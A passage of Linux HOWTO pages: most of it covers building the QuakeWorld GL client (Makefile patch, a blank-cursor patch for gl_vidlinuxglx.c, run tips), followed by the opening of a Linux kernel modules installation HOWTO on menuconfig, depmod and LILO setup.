    $(DO_GL_CC)

$(BUILDDIR)/glclient/console.o :       $(CLIENT_DIR)/console.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/crc.o :           $(CLIENT_DIR)/crc.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/cvar.o :          $(CLIENT_DIR)/cvar.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/keys.o :          $(CLIENT_DIR)/keys.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/mathlib.o :       $(CLIENT_DIR)/mathlib.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/md4.o :           $(CLIENT_DIR)/md4.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/menu.o :          $(CLIENT_DIR)/menu.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/net_chan.o :      $(CLIENT_DIR)/net_chan.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/net_udp.o :       $(CLIENT_DIR)/net_udp.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/nonintel.o :      $(CLIENT_DIR)/nonintel.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/pmove.o :         $(CLIENT_DIR)/pmove.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/pmovetst.o :      $(CLIENT_DIR)/pmovetst.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/r_part.o :        $(CLIENT_DIR)/r_part.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/sbar.o :          $(CLIENT_DIR)/sbar.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/screen.o :        $(CLIENT_DIR)/screen.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/skin.o :          $(CLIENT_DIR)/skin.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/snd_dma.o :       $(CLIENT_DIR)/snd_dma.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/snd_mem.o :       $(CLIENT_DIR)/snd_mem.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/snd_mix.o :       $(CLIENT_DIR)/snd_mix.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/view.o :          $(CLIENT_DIR)/view.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/wad.o :           $(CLIENT_DIR)/wad.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/zone.o :          $(CLIENT_DIR)/zone.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/cd_linux.o :      $(CLIENT_DIR)/cd_linux.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/sys_linux.o :     $(CLIENT_DIR)/sys_linux.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/snd_linux.o :     $(CLIENT_DIR)/snd_linux.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_draw.o :       $(CLIENT_DIR)/gl_draw.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_mesh.o :       $(CLIENT_DIR)/gl_mesh.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_model.o :      $(CLIENT_DIR)/gl_model.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_ngraph.o :     $(CLIENT_DIR)/gl_ngraph.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_refrag.o :     $(CLIENT_DIR)/gl_refrag.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_rlight.o :     $(CLIENT_DIR)/gl_rlight.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_rmain.o :      $(CLIENT_DIR)/gl_rmain.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_rmisc.o :      $(CLIENT_DIR)/gl_rmisc.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_rsurf.o :      $(CLIENT_DIR)/gl_rsurf.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_screen.o :     $(CLIENT_DIR)/gl_screen.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_vidlinux.o :   $(CLIENT_DIR)/gl_vidlinux.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_vidlinuxglx.o :   $(CLIENT_DIR)/gl_vidlinuxglx.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/gl_warp.o :       $(CLIENT_DIR)/gl_warp.c
    $(DO_GL_CC)

$(BUILDDIR)/glclient/math.o :          $(CLIENT_DIR)/math.s
    $(DO_GL_AS)

$(BUILDDIR)/glclient/snd_mixa.o :      $(CLIENT_DIR)/snd_mixa.s
    $(DO_GL_AS)

$(BUILDDIR)/glclient/sys_dosa.o :      $(CLIENT_DIR)/sys_dosa.s
    $(DO_GL_AS)

#############################################################################
# MISC
#############################################################################

clean:
    rm -fr bin/client
    rm -fr bin/glclient
    rm -fr bin/server
This file can be copied and pasted as your Makefile to replace the original Makefile/Makefile.Linux.

The following is a patch that you can apply to the original Makefile.Linux if you feel like it. The command is simply:
        patch Makefile.Linux Makefile.Linux.patch
    cp Makefile.Linux Makefile
You can download it at:

http://www.comptechnews.com/~reaster/mini-HOWTO/LinuxGL-QuakeWorld-mini-HOWTO/Makefile.Linux.patch

Figure 2. Makefile.Linux.patch

*** /home/reaster/q1source/QW/Makefile.Linux	Wed Apr 21 20:16:24 1999
--- Makefile	Tue Nov 28 09:36:47 2000
***************
*** 8,59 ****
  # ELF only
  #

! # RPM release number
! RPM_RELEASE=1

! VERSION=2.30$(GLIBC)
!
! ifneq (,$(findstring libc6,$(shell if [ -e /lib/libc.so.6* ];then echo libc6;fi)))
! GLIBC=-glibc
! else
! GLIBC=
! endif
!
! ifneq (,$(findstring alpha,$(shell uname -m)))
! ARCH=axp
! RPMARCH=alpha
! else
! ARCH=i386
! RPMARCH=i386
! endif
!
! MAINDIR=/grog/Projects/QW
!
! BUILD_DEBUG_DIR=debug$(ARCH)$(GLIBC)
! BUILD_RELEASE_DIR=release$(ARCH)$(GLIBC)
  CLIENT_DIR=$(MAINDIR)/client
  SERVER_DIR=$(MAINDIR)/server

- MESA_DIR=/usr/local/src/Mesa-3.0
-
  CC=gcc
  BASE_CFLAGS=-Wall -Dstricmp=strcasecmp -I$(CLIENT_DIR) -I$(SERVER_DIR)
! DEBUG_CFLAGS=$(BASE_CFLAGS) -g
! ifeq ($(ARCH),axp)
! RELEASE_CFLAGS=$(BASE_CFLAGS) -ffast-math -funroll-loops \
! 	-fomit-frame-pointer -fexpensive-optimizations
! else
! RELEASE_CFLAGS=$(BASE_CFLAGS) -m486 -O6 -ffast-math -funroll-loops \
! 	-fomit-frame-pointer -fexpensive-optimizations -malign-loops=2 \
! 	-malign-jumps=2 -malign-functions=2
! endif
! GLCFLAGS=-DGLQUAKE -I/usr/local/src/Mesa-3.0/include -I/usr/include/glide

  LDFLAGS=-lm
- SVGALDFLAGS=-lvga
  XLDFLAGS=-L/usr/X11R6/lib -lX11 -lXext
! GL_SVGA_LDFLAGS=-L/usr/X11/lib -L/usr/local/src/Mesa-3.0/lib -lm -lMesaGL -lglide2x -lX11 -lXext -lvga
! GL_X11_LDFLAGS=-L/usr/X11/lib -L/usr/local/src/Mesa-3.0/lib -lm -lGL -lX11 -lXext

  DO_CC=$(CC) $(CFLAGS) -o $@ -c $<
  DO_O_CC=$(CC) -O $(CFLAGS) -o $@ -c $<
--- 8,27 ----
  # ELF only
  #

! MAINDIR=.

! BUILD_RELEASE_DIR=bin
  CLIENT_DIR=$(MAINDIR)/client
  SERVER_DIR=$(MAINDIR)/server

  CC=gcc
  BASE_CFLAGS=-Wall -Dstricmp=strcasecmp -I$(CLIENT_DIR) -I$(SERVER_DIR)
! RELEASE_CFLAGS=$(BASE_CFLAGS) -m486 -ffast-math -fexpensive-optimizations
! GLCFLAGS=-DGLQUAKE -DGL_EXT_SHARED

  LDFLAGS=-lm
  XLDFLAGS=-L/usr/X11R6/lib -lX11 -lXext
! GL_X11_LDFLAGS=-L/usr/X11R6/lib -lm -lGL -lX11 -lXext

  DO_CC=$(CC) $(CFLAGS) -o $@ -c $<
  DO_O_CC=$(CC) -O $(CFLAGS) -o $@ -c $<
***************
*** 67,85 ****
  # SETUP AND BUILD
  #############################################################################

! ifeq ($(ARCH),axp)
! TARGETS=$(BUILDDIR)/qwsv
! #$(BUILDDIR)/qwcl.x11
! else
! TARGETS=$(BUILDDIR)/qwsv $(BUILDDIR)/qwcl $(BUILDDIR)/qwcl.x11 $(BUILDDIR)/glqwcl $(BUILDDIR)/glqwcl.glx
! endif
!
! build_debug:
! 	@-mkdir $(BUILD_DEBUG_DIR) \
! 		$(BUILD_DEBUG_DIR)/client \
! 		$(BUILD_DEBUG_DIR)/glclient \
! 		$(BUILD_DEBUG_DIR)/server
! 	$(MAKE) targets BUILDDIR=$(BUILD_DEBUG_DIR) CFLAGS="$(DEBUG_CFLAGS)"

  build_release:
      @-mkdir $(BUILD_RELEASE_DIR) \
--- 35,41 ----
  # SETUP AND BUILD
  #############################################################################

! TARGETS=$(BUILDDIR)/qwsv $(BUILDDIR)/glqwcl.glx $(BUILDDIR)/qwcl.x11

  build_release:
      @-mkdir $(BUILD_RELEASE_DIR) \
***************
*** 88,94 ****
          $(BUILD_RELEASE_DIR)/server
      $(MAKE) targets BUILDDIR=$(BUILD_RELEASE_DIR) CFLAGS="$(RELEASE_CFLAGS)"

! all: build_debug build_release

  targets: $(TARGETS)

--- 44,50 ----
          $(BUILD_RELEASE_DIR)/server
      $(MAKE) targets BUILDDIR=$(BUILD_RELEASE_DIR) CFLAGS="$(RELEASE_CFLAGS)"

! all: build_release

  targets: $(TARGETS)

***************
*** 273,279 ****
      $(BUILDDIR)/client/sys_linux.o \
      $(BUILDDIR)/client/snd_linux.o \

- ifeq ($(ARCH),i386)
      QWCL_AS_OBJS = \
      $(BUILDDIR)/client/d_copy.o \
      $(BUILDDIR)/client/d_draw.o \
--- 229,234 ----
***************
*** 293,309 ****
      $(BUILDDIR)/client/surf16.o \
      $(BUILDDIR)/client/surf8.o \
      $(BUILDDIR)/client/sys_dosa.o
- else
- 	QWCL_AS_OBJS=
- endif

- QWCL_SVGA_OBJS = $(BUILDDIR)/client/vid_svgalib.o
  QWCL_X11_OBJS = $(BUILDDIR)/client/vid_x.o

- $(BUILDDIR)/qwcl : $(QWCL_OBJS) $(QWCL_AS_OBJS) $(QWCL_SVGA_OBJS)
- 	$(CC) $(CFLAGS) -o $@ $(QWCL_OBJS) $(QWCL_AS_OBJS) $(QWCL_SVGA_OBJS) \
- 		$(LDFLAGS) $(SVGALDFLAGS)
-
  $(BUILDDIR)/qwcl.x11 : $(QWCL_OBJS) $(QWCL_AS_OBJS) $(QWCL_X11_OBJS)
      $(CC) $(CFLAGS) -o $@ $(QWCL_OBJS) $(QWCL_AS_OBJS) $(QWCL_X11_OBJS) \
          $(LDFLAGS) $(XLDFLAGS)
--- 248,256 ----
***************
*** 548,556 ****
  $(BUILDDIR)/client/sys_dosa.o :       $(CLIENT_DIR)/sys_dosa.s
      $(DO_AS)

- $(BUILDDIR)/client/vid_svgalib.o : $(CLIENT_DIR)/vid_svgalib.c
- 	$(DO_O_CC)
-
  $(BUILDDIR)/client/vid_x.o : $(CLIENT_DIR)/vid_x.c
      $(DO_CC)

--- 495,500 ----
***************
*** 610,621 ****
      $(BUILDDIR)/glclient/snd_mixa.o \
      $(BUILDDIR)/glclient/sys_dosa.o

- GLQWCL_SVGA_OBJS = $(BUILDDIR)/glclient/gl_vidlinux.o
  GLQWCL_X11_OBJS = $(BUILDDIR)/glclient/gl_vidlinuxglx.o

- $(BUILDDIR)/glqwcl : $(GLQWCL_OBJS) $(GLQWCL_SVGA_OBJS)
- 	$(CC) $(CFLAGS) -o $@ $(GLQWCL_OBJS) $(GLQWCL_SVGA_OBJS) $(LDFLAGS) $(GL_SVGA_LDFLAGS)
-
  $(BUILDDIR)/glqwcl.glx : $(GLQWCL_OBJS) $(GLQWCL_X11_OBJS)
      $(CC) $(CFLAGS) -o $@ $(GLQWCL_OBJS) $(GLQWCL_X11_OBJS) $(LDFLAGS) $(GL_X11_LDFLAGS)

--- 554,561 ----
***************
*** 772,930 ****
  $(BUILDDIR)/glclient/sys_dosa.o :      $(CLIENT_DIR)/sys_dosa.s
      $(DO_GL_AS)

- #############################################################################
- # RPM
- #############################################################################
-
- # Make RPMs.  You need to be root to make this work
- RPMROOT=/usr/src/redhat
- RPM = rpm
- RPMFLAGS = -bb
- INSTALLDIR = /usr/local/games/quake
-
- ifeq ($(ARCH),axp)
- rpm: rpm-qwsv
- tar: tar-qwsv
- else
- rpm: rpm-qwcl rpm-qwsv
- tar: tar-qwcl tar-qwsv
- endif
-
- QWCL_RPMDIR=/var/tmp/qwcl-$(VERSION)
- TDFXGL_DIR=/home/zoid/3dfxgl
-
- QWPROGS = \
- 	$(MAINDIR)/progs/buttons.qc \
- 	$(MAINDIR)/progs/client.qc \
- 	$(MAINDIR)/progs/combat.qc \
- 	$(MAINDIR)/progs/defs.qc \
- 	$(MAINDIR)/progs/doors.qc \
- 	$(MAINDIR)/progs/items.qc \
- 	$(MAINDIR)/progs/misc.qc \
- 	$(MAINDIR)/progs/models.qc \
- 	$(MAINDIR)/progs/plats.qc \
- 	$(MAINDIR)/progs/player.qc \
- 	$(MAINDIR)/progs/progdefs.h \
- 	$(MAINDIR)/progs/progs.src \
- 	$(MAINDIR)/progs/qwprogs.dat \
- 	$(MAINDIR)/progs/server.qc \
- 	$(MAINDIR)/progs/spectate.qc \
- 	$(MAINDIR)/progs/sprites.qc \
- 	$(MAINDIR)/progs/subs.qc \
- 	$(MAINDIR)/progs/triggers.qc \
- 	$(MAINDIR)/progs/weapons.qc \
- 	$(MAINDIR)/progs/world.qc
-
- rpm-qwcl: qwcl.spec \
- 		$(BUILD_RELEASE_DIR)/qwcl \
- 		$(BUILD_RELEASE_DIR)/glqwcl \
- 		$(BUILD_RELEASE_DIR)/glqwcl.glx \
- 		$(BUILD_RELEASE_DIR)/qwcl.x11
- 	touch $(RPMROOT)/SOURCES/qwcl-$(VERSION).tar.gz
- 	if [ ! -d archives ];then mkdir archives;fi
- 	$(MAKE) copyfiles-qwcl DESTDIR=$(QWCL_RPMDIR)/$(INSTALLDIR)
- 	cp qwcl.spec $(RPMROOT)/SPECS/qwcl.spec
- 	cp $(MAINDIR)/quake.gif $(RPMROOT)/SOURCES/quake.gif
- 	cd $(RPMROOT)/SPECS; $(RPM) $(RPMFLAGS) qwcl.spec
- 	cp $(RPMROOT)/RPMS/$(RPMARCH)/qwcl-$(VERSION)-$(RPM_RELEASE).$(RPMARCH).rpm archives/.
- 	rm -rf $(QWCL_RPMDIR)
-
- tar-qwcl: $(BUILD_RELEASE_DIR)/qwcl \
- 		$(BUILD_RELEASE_DIR)/glqwcl \
- 		$(BUILD_RELEASE_DIR)/glqwcl.glx \
- 		$(BUILD_RELEASE_DIR)/qwcl.x11
- 	if [ ! -d archives ];then mkdir archives;fi
- 	$(MAKE) copyfiles-qwcl DESTDIR=$(QWCL_RPMDIR)/$(INSTALLDIR)
- 	cd $(QWCL_RPMDIR)/$(INSTALLDIR); tar czvf qwcl-$(VERSION)-$(RPMARCH)-unknown-linux2.0.tar.gz *
- 	mv $(QWCL_RPMDIR)/$(INSTALLDIR)/*.tar.gz archives/.
- 	rm -rf $(QWCL_RPMDIR)
-
- copyfiles-qwcl:
- 	-mkdirhier $(DESTDIR)
- 	-mkdirhier $(DESTDIR)/qw
- 	-mkdirhier $(DESTDIR)/qw/skins
- 	cp $(BUILD_RELEASE_DIR)/qwcl $(DESTDIR)/.
- 	strip $(DESTDIR)/qwcl
- 	chmod 4755 $(DESTDIR)/qwcl
- 	cp $(BUILD_RELEASE_DIR)/qwcl.x11 $(DESTDIR)/.
- 	strip $(DESTDIR)/qwcl.x11
- 	chmod 755 $(DESTDIR)/qwcl.x11
- 	cp $(BUILD_RELEASE_DIR)/glqwcl $(DESTDIR)/.
- 	strip $(DESTDIR)/glqwcl
- 	chmod 4755 $(DESTDIR)/glqwcl
- 	cp $(BUILD_RELEASE_DIR)/glqwcl.glx $(DESTDIR)/.
- 	strip $(DESTDIR)/glqwcl.glx
- 	chmod 4755 $(DESTDIR)/glqwcl.glx
- 	cp $(TDFXGL_DIR)/release$(ARCH)/lib3dfxgl.so $(DESTDIR)/.
- 	chmod 755 $(DESTDIR)/lib3dfxgl.so
- 	cp $(MAINDIR)/glqwcl.3dfxgl $(DESTDIR)/.
- 	chmod 755 $(DESTDIR)/glqwcl.3dfxgl
- 	cp $(MAINDIR)/docs/README.qwcl $(DESTDIR)/.
- 	chmod 644 $(DESTDIR)/README.qwcl
- 	cp $(MAINDIR)/fixskins.sh $(DESTDIR)/qw/skins/.
- 	chmod 755 $(DESTDIR)/qw/skins/fixskins.sh
- 	cp $(MESA_DIR)/lib/libMesaGL.so.2.6 $(DESTDIR)
- 	chmod 755 $(DESTDIR)/libMesaGL.so.2.6
- 	cd $(DESTDIR); ln -sf libMesaGL.so.2.6 libMesaGL.so.2
- 	cd $(DESTDIR); ln -sf libMesaGL.so.2 libMesaGL.so
- 	cd $(DESTDIR); ln -sf libMesaGL.so libGL.so
-
- qwcl.spec : $(MAINDIR)/qwcl.spec.sh $(BUILD_RELEASE_DIR)/qwcl
- 	sh $< $(VERSION) $(RPM_RELEASE) $(INSTALLDIR) > $@
-
- QWSV_RPMDIR=/var/tmp/qwsv-$(VERSION)
- rpm-qwsv: qwsv.spec $(BUILD_RELEASE_DIR)/qwsv $(QWPROGS)
- 	touch $(RPMROOT)/SOURCES/qwsv-$(VERSION).tar.gz
- 	if [ ! -d archives ];then mkdir archives;fi
- 	$(MAKE) copyfiles-qwsv DESTDIR=$(QWSV_RPMDIR)/$(INSTALLDIR)
- 	cp qwsv.spec $(RPMROOT)/SPECS/qwsv.spec
- 	cp $(MAINDIR)/quake.gif $(RPMROOT)/SOURCES/quake.gif
- 	cd $(RPMROOT)/SPECS; $(RPM) $(RPMFLAGS) qwsv.spec
- 	cp $(RPMROOT)/RPMS/$(RPMARCH)/qwsv-$(VERSION)-$(RPM_RELEASE).$(RPMARCH).rpm archives/.
- 	rm -rf $(QWSV_RPMDIR)
-
- tar-qwsv: $(BUILD_RELEASE_DIR)/qwsv $(QWPROGS)
- 	if [ ! -d archives ];then mkdir archives;fi
- 	$(MAKE) copyfiles-qwsv DESTDIR=$(QWSV_RPMDIR)/$(INSTALLDIR)
- 	cd $(QWSV_RPMDIR)/$(INSTALLDIR); tar czvf qwsv-$(VERSION)-$(RPMARCH)-unknown-linux2.0.tar.gz *
- 	mv $(QWSV_RPMDIR)/$(INSTALLDIR)/*.tar.gz archives/.
- 	rm -rf $(QWSV_RPMDIR)
-
- copyfiles-qwsv:
- 	-mkdirhier $(DESTDIR)
- 	-mkdirhier $(DESTDIR)/qw
- 	-mkdirhier $(DESTDIR)/qw/skins
- 	cp $(BUILD_RELEASE_DIR)/qwsv $(DESTDIR)/.
- 	strip $(DESTDIR)/qwsv
- 	chmod 755 $(DESTDIR)/qwsv
- 	cp $(MAINDIR)/docs/README.qwsv $(DESTDIR)/.
- 	chmod 644 $(DESTDIR)/README.qwsv
- 	cp $(QWPROGS) $(DESTDIR)/qw/.
- 	cd $(DESTDIR)/qw; chmod 644 *
- 	chmod 755 $(DESTDIR)/qw/skins
- 	cp $(MAINDIR)/fixskins.sh $(DESTDIR)/qw/skins/.
- 	chmod 755 $(DESTDIR)/qw/skins/fixskins.sh
-
- qwsv.spec : $(MAINDIR)/qwsv.spec.sh $(BUILD_RELEASE_DIR)/qwsv
- 	sh $< $(VERSION) $(RPM_RELEASE) $(INSTALLDIR) > $@

  #############################################################################
  # MISC
  #############################################################################

! clean: clean-debug clean-release
!
! clean-debug:
! 	$(MAKE) clean2 BUILDDIR=$(BUILD_DEBUG_DIR) CFLAGS="$(DEBUG_CFLAGS)"
!
! clean-release:
! 	$(MAKE) clean2 BUILDDIR=$(BUILD_RELEASE_DIR) CFLAGS="$(DEBUG_CFLAGS)"

- clean2:
- 	-rm -f $(QWSV_OBJS) \
- 		$(QWCL_OBJS) \
- 		$(QWCL_AS_OBJS) \
- 		$(QWCL_SVGA_OBJS) \
- 		$(QWCL_X11_OBJS) \
- 		$(GLQWCL_OBJS) \

--- 712,725 ----
  $(BUILDDIR)/glclient/sys_dosa.o :      $(CLIENT_DIR)/sys_dosa.s
      $(DO_GL_AS)

  #############################################################################
  # MISC
  #############################################################################

! clean:
! 	rm -fr bin/client
! 	rm -fr bin/glclient
! 	rm -fr bin/server

Save the Makefile.

Prev | Home | Next
Download the Quake source |  | Fix the mouse grabbing


Fix the mouse grabbing

5. Fix the mouse grabbing

Fix the mouse hide problem.

The quake code, as it is, does not hide the mouse when you use it. The pointer would remain visible and jitter around a fixed point in the middle of the screen - very annoying. I found the following simple fix in a mail archive about glx development at: http://lists.openprojects.net/pipermail/glx-dev/1999-October/000994.html

See the patch listing and the link to download it below, or you can make the changes yourself.
    cd q1src/QW/client
    edit the file: gl_vidlinuxglx.c

At the top of the function called install_grabs(void) (Line 234), add the following code:

    static void install_grabs(void)
    {
        /* vars to make blank cursor */
        Pixmap blank;
        XColor dummy;
        char data[1] = {0};
        Cursor cursor;

        /* make a blank cursor */
        blank = XCreateBitmapFromData (dpy, win, data, 1, 1);
        if(blank == None) fprintf(stderr, "error: out of memory.\n");
        cursor = XCreatePixmapCursor(dpy, blank, blank, &dummy, &dummy, 0, 0);
        XFreePixmap (dpy, blank);
        Con_Printf("Cursor blanked.\n");

The 8th parameter to XGrabPointer should be changed from "None" to "cursor" to use the blank cursor:

    XGrabPointer(dpy, win,
             True,
             0,
             GrabModeAsync, GrabModeAsync,
             win,
             cursor,
             CurrentTime);
(see: man XGrabPointer)

This fix might work for the other client builds if you make similar changes in the appropriate *vid*.c file. As it is, this creates a memory leak as it allocates another Cursor object everytime through and doesn't call XFreeCursor() but this is probably not a problem since I don't think a 1x1 cursor is using much memory. If you want, you can apply the following patch against q1src/QW/client/gl_vidlinuxglx.c (patch gl_vidlinuxglx.c patchfile). Just cut and paste the contents between the begin/end patchfile lines into a file called gl_vidlinuxglx.c.patch (or whatever you want to call it). Save patchfile in the q1src/QW/client directory where gl_vidlinuxglx.c is. Then run the command:

    patch gl_vidlinuxglx.c gl_vidlinuxglx.c.patch

This patch file will make gl_vidlinuxglx.c such that it doesn't have any memory leak. You can download this patch file at: http://www.comptechnews.com/~reaster/mini-HOWTO/LinuxGL-QuakeWorld-mini-HOWTO/gl_vidlinuxglx.c.patch.
*************************** begin patchfile ************************************
*** q1src-p/QW/client/gl_vidlinuxglx.c	Tue Dec 21 18:45:54 1999
--- gl_vidlinuxglx.c	Sat Aug 19 20:47:42 2000
***************
*** 1,22 ****
! /*
! Copyright (C) 1996-1997 Id Software, Inc.
!
! This program is free software; you can redistribute it and/or
! modify it under the terms of the GNU General Public License
! as published by the Free Software Foundation; either version 2
! of the License, or (at your option) any later version.
!
! This program is distributed in the hope that it will be useful,
! but WITHOUT ANY WARRANTY; without even the implied warranty of
! MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
!
! See the GNU General Public License for more details.
!
! You should have received a copy of the GNU General Public License
! along with this program; if not, write to the Free Software
! Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
!
! */
  #include <termios.h>
  #include <sys/ioctl.h>
  #include <sys/stat.h>
--- 1,22 ----
! /*
! Copyright (C) 1996-1997 Id Software, Inc.
!
! This program is free software; you can redistribute it and/or
! modify it under the terms of the GNU General Public License
! as published by the Free Software Foundation; either version 2
! of the License, or (at your option) any later version.
!
! This program is distributed in the hope that it will be useful,
! but WITHOUT ANY WARRANTY; without even the implied warranty of
! MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
!
! See the GNU General Public License for more details.
!
! You should have received a copy of the GNU General Public License
! along with this program; if not, write to the Free Software
! Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
!
! */
  #include <termios.h>
  #include <sys/ioctl.h>
  #include <sys/stat.h>
***************
*** 66,71 ****
--- 66,74 ----

  static int scr_width, scr_height;

+ /* blank cursor - gets initialized in VID_Init, freed in VID_Shutdown */
+ Cursor cursor;
+
  /*-----------------------------------------------------------------------*/

  //int		texture_mode = GL_NEAREST;
***************
*** 236,243 ****
                   0,
                   GrabModeAsync, GrabModeAsync,
                   win,
! 				 None,
                   CurrentTime);

  #ifdef USE_DGA
      XF86DGADirectVideo(dpy, DefaultScreen(dpy), XF86DGADirectMouse);
--- 239,247 ----
                   0,
                   GrabModeAsync, GrabModeAsync,
                   win,
! 				 cursor,
                   CurrentTime);
+ 	Con_Printf("Cursor blanked.\n");

  #ifdef USE_DGA
      XF86DGADirectVideo(dpy, DefaultScreen(dpy), XF86DGADirectMouse);
***************
*** 350,355 ****
--- 354,360 ----
      if (!ctx)
          return;

+ 	XFreeCursor(dpy, cursor);
      glXDestroyContext(dpy, ctx);
  }

***************
*** 602,608 ****
      unsigned long mask;
      Window root;
      XVisualInfo *visinfo;
!
      S_Init();

      Cvar_RegisterVariable (&vid_mode);
--- 607,617 ----
      unsigned long mask;
      Window root;
      XVisualInfo *visinfo;
! 	/* vars to make blank cursor */
! 	Pixmap blank;
! 	XColor dummy;
! 	char data[1] = {0};
!
      S_Init();

      Cvar_RegisterVariable (&vid_mode);
***************
*** 701,706 ****
--- 710,720 ----
      Con_SafePrintf ("Video mode %dx%d initialized.\n", width, height);

      vid.recalc_refdef = 1;				// force a surface cache flush
+
+ 	blank = XCreateBitmapFromData(dpy, win, data, 1, 1);
+ 	if(blank == None) fprintf(stderr, "error: out of memory.\n");
+ 	cursor = XCreatePixmapCursor(dpy, blank, blank, &dummy, &dummy, 0, 0);
+ 	XFreePixmap(dpy, blank);
  }

  void Sys_SendKeyEvents(void)

*************************** end patchfile   ************************************

It is handy to bind some keys at the quake console to toggle mouse grabbing:
    bind q "_windowed_mouse 0"
    bind w "_windowed_mouse 1"

Prev | Home | Next
Modify the Makefile |  | Compile!


Running glqwcl.glx

Prev

7. Running glqwcl.glx

Running the game.

You might want to run it like this from XQF: glqwcl.glx -width 1280 -height 1024 (or any other resolution your system can support)

XQF is a nice program to find QuakeWorld servers and can be found at: http://www.linuxgames.com/xqf

To run the game fullscreen requires starting the game at the same resolution as your X desktop. If you are running a desktop environment, you might not be able to hide everything. The sure way to get a fullscreen experience is to run XFree86 on its own without any desktop environment or window manager loaded:

XFree86 &

This starts X without any desktop environment or window manager. /etc/X11/xinit/xinitrc normally starts your desktop.

CTRL-ALT-'-' and CTRL-ALT-'+'

Switches to the resolution you want. Check your /etc/X11/XF86Config if you don't have any other resolutions available.

CTRL-ALT-F1

Switches back to the text console.

xterm -display localhost:0.0 &

All X applications accept a -display command line argument to tell it which X server to display on. Every X program is an X server client. 0.0 represents the screen on F7, 1.0 on F8, etc. localhost is your computer. Its possible and very common to execute an X program on one computer but have it display on some other workstation. localhost could be an IP address or the dns name of any computer running X that is accepting connections from where you run the X client application program.

ALT-F7

Switches back to X 0.0. Using xterm, start XQF or whatever program you use to launch Quake.

glqwcl.glx -width w -height h

Tell your quake launcher to start it like this, where w and h are the resolution you are at. A good resolution is 1024 by 768.

Light effects.

At the console, you can try turning on and off the flashblend function and see which lighting effects you prefer:

        gl_flashblend 0
        gl_flashblend 1

When it is on (1), you may notice colored light effects around flags and special items. In this mode, you may NOT see flashes from weapons and light on the walls from rockets. The exact effects of toggling flashblend may depend on your specific OpenGL installation.

When it is off (0), there may not be any COLORED light, but otherwise all light effects work. Flags and special items have a glow around them and light up surrounding surfaces. Weapons flash when fired and rockets light up everything around them as they travel.

HAVE FUN!

Prev | Home
Compile! |


Linux Kernel Modules Installation HOWTO

rhw@bigfoot.com

Revision History
Revision 1.0 Unknown date Revised by: rhw
Initial Release

Describes the installation of Linux kernel modules.

Table of Contents
1. Purpose of this Document
2. Pre-requisites
3. Compiler Speed-up
4. Recompiling the Kernel for Modules
5.1. Configuring Debian or RedHat for Modules
5.2. Configuring Slackware for Modules
5.3. Configuring Other Distributions for Modules
Next
Purpose of this Document


Recompiling the Kernel for Modules

Linux Kernel Modules Installation HOWTO
Prev

4. Recompiling the Kernel for Modules

The kernel can be reconfigured to use modules for everything other than the file system mounted as root (in most cases, this is the ext2 file system).

However, there are certain items that appear to be difficult to set up properly as modules, so I would recommend the following be compiled into the kernel:

  • Ethernet hardware drivers.

  • SCSI CD-ROM drivers.

On the other hand, there are certain driver combinations that ONLY work as modules, especially combinations of two or more of the following group:

  • A Parallel Printer,

  • A Parallel Port drive, such as the IOMEGA ZipDrive or JazzDrive, or the BackPack CD-ROM drive, and

  • The PLIP Daemon.

You will need to decide what you are compiling into the kernel, and what as modules, but should take the above points into consideration. The actual choices are made during the compilation, by the second of the following sequence of instructions:

cd /usr/src/linux
make menuconfig
make dep clean modules modules_install zImage

Having done that, the module dependencies need to be mapped out. This is done with the following command:

depmod -a

The new kernel now needs to be inserted in the boot chain. I am assuming the reader is using LILO for this purpose, since this is the only loader I have any experience with.

I recommend that one does NOT automatically insert the newly compiled kernel as the default Linux kernel since if it should fail, it is then extremely difficult to recover one's Linux setup without doing a complete reinstallation, which is not to be recommended. For this reason, I have the following entry in my /etc/lilo.conf file:

image=/usr/src/linux/arch/i386/boot/zImage
  label=new
  alias=n
  read-only
  vga=ask
  optional

This entry says that there is an OPTIONAL boot option (which will be ignored if the image in question does not exist) which boots the file /boot/newlinux if selected, and allows one to select the video mode it is to be booted in.

Assuming the existence of the above entry in /etc/lilo.conf the revised kernel is already correctly located at the end of compilation, and it can be installed via the following command:

lilo

Having done that, the reader needs to follow the further steps relevant to their selected distribution, as follows:

5.1. Configuring Debian or RedHat for Modules

Prior to carrying out the steps listed here, the steps listed in "Recompiling the Kernel for Modules" are assumed to have been carried out.

